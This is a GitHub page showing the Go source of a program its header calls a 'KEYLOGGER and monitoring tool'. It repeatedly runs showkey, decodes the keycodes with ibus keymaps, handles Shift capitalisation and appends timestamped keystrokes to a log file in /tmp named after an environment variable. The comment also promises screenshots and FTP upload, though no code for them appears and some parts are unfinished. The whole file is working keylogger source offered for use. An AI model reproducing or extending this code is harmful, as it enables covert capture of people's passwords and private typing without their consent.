-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathmain.go
More file actions
181 lines (160 loc) · 4.86 KB
/
main.go
File metadata and controls
181 lines (160 loc) · 4.86 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
/*
KEYLOGGER and monitoring tool.
This program is intended to log all key strokes and also periodically capture the screenshots of the screen
These will then be uploaded to an FTP server all files will be named based on the ENV variable called ENAME
*/
package main
import (
"encoding/json"
"fmt"
"io/ioutil"
"os"
"os/exec"
"regexp"
"strings"
"time"
)
// KEYMAP is going to save the key board layout in it
var KEYMAP map[string]string
func main() {
if len(KEYMAP) == 0 {
getKeyBoardCodes()
}
keyLoggingDone := make(chan bool, 1)
rawKeys := make(chan string, 1)
logger:
go logKeys(keyLoggingDone, rawKeys)
if <-keyLoggingDone == true {
output := <-rawKeys
go parse(output)
goto logger
}
}
// First configure the command
// here we are using showkey to get a list of all keys that have been typed. This will stop automatically
// after 10s of last keystrok so we have to keep restarting this every time this is done.
func logKeys(done chan bool, output chan string) {
// fmt.Println("Started Logging")
KeyCommand := exec.Command("bash", "-c", "showkey")
KeyboardOutPut, _ := KeyCommand.StdoutPipe()
KeyCommand.Start()
grepBytes, _ := ioutil.ReadAll(KeyboardOutPut)
KeyCommand.Wait()
done <- true
output <- string(grepBytes)
}
// Parse is going to convert the raw bytestream of keycodes into a human readable format.
func parse(ipstring string) {
FirstLevelFilter := map[string]string{
"Shift_R": "<SHIFT>",
"Shift_L": "<SHIFT>",
"Control_L": "<CTRL>",
"Control_R": "<CTRL>",
"BackSpace": "<BS>",
"Tab": "<TAB>",
"space": " ",
"period": ".",
"comma": ",",
"slash": "/",
"Alt_L": "<ALT>",
"Alt_R": "<ALT>",
"minus": "-",
"equal": "=",
"backslash": "\\",
"apostrophe": "'",
"semicolon": ";",
"grave": "`",
"bracketleft": "[",
"bracketright": "]",
"Return": "\n",
"Caps_Lock": "<CAPS>",
"Escape": "<ESC>",
"Right": "<RIGHT>",
"Left": "<LEFT>",
"Down": "<Down>",
"Up": "<UP>",
}
parse1 := strings.Replace(ipstring, `press any key (program terminates 10s after last keypress)...`, "", -1)
parsed := strings.Replace(parse1, `keycode`, "", -1)
parsedArray := strings.Split(parsed, "\n")
rawLog := ""
for _, v := range parsedArray {
// KEY release also becomes very important to note incase of SHIFT key. As This will only track the first occurance of it.
// Thus not allowing a good picture of what is actually happening.
if strings.Contains(v, "press") {
value := strings.Replace(v, "press", "", 1)
formattedValue := strings.Replace(value, " ", "", -1)
key := KEYMAP[formattedValue]
if value, ok := FirstLevelFilter[key]; ok {
rawLog += value
} else {
rawLog += key
}
}
}
//TODO also build a second level or parser that takes into account SHIFT and does the corresponding replace.
parseShifts(rawLog)
}
func parseShifts(s string) {
var re = regexp.MustCompile(`<SHIFT>\w`)
var pairs []string
for _, match := range re.FindAllString(s, -1) {
arr := strings.Split(match, "<SHIFT>")
pairs = append(pairs, match)
pairs = append(pairs, strings.ToUpper(arr[1]))
}
// Create replacer with pairs as arguments.
r := strings.NewReplacer(pairs...)
str := r.Replace(s)
//This still has a lot of work to be done. But for now this looks good. Will come back to this in sometime.
logResults(str)
}
func logResults(str string) {
// Only log if string is present that is it actually has a keyevent captured.
if str != "" {
ename := os.Getenv("ENAME")
filename := "/tmp/" + ename + "_keys.log"
f, err := os.OpenFile(filename, os.O_APPEND|os.O_WRONLY, 0600)
t := time.Now()
text := t.Format(time.RFC3339)
text += "\n\n"
text += str
text += "\n"
if err != nil {
panic(err)
}
defer f.Close()
if _, err = f.WriteString(text); err != nil {
panic(err)
}
}
}
func getKeyBoardCodes() {
KeyLayoutCommand := exec.Command("ls", "/usr/share/ibus/keymaps")
Output, _ := KeyLayoutCommand.Output()
var keys string
keyMap := map[string]string{}
for _, file := range strings.Split(string(Output), "\n") {
filename := "/usr/share/ibus/keymaps/" + file
output, _ := exec.Command("cat", filename).Output()
keys = keys + string(output)
keys = keys + "\n"
}
formattedKeys := strings.Replace(keys, "keycode ", "", -1)
formattedKeys1 := strings.Replace(formattedKeys, "addupper", "", -1)
formattedKeys2 := strings.Replace(formattedKeys1, " ", "", -1)
var re = regexp.MustCompile(`(\w*).\d*.=.\w*`)
for _, match := range re.FindAllString(formattedKeys2, -1) {
array := strings.Split(match, " = ")
keyMap[array[0]] = array[1]
}
//TODO format baseLayout's shift and alt functions
KEYMAP = keyMap
}
func formatMapAndPrint(ma interface{}) {
b, err := json.MarshalIndent(ma, "", " ")
if err != nil {
fmt.Println("error:", err)
}
fmt.Print(string(b))
}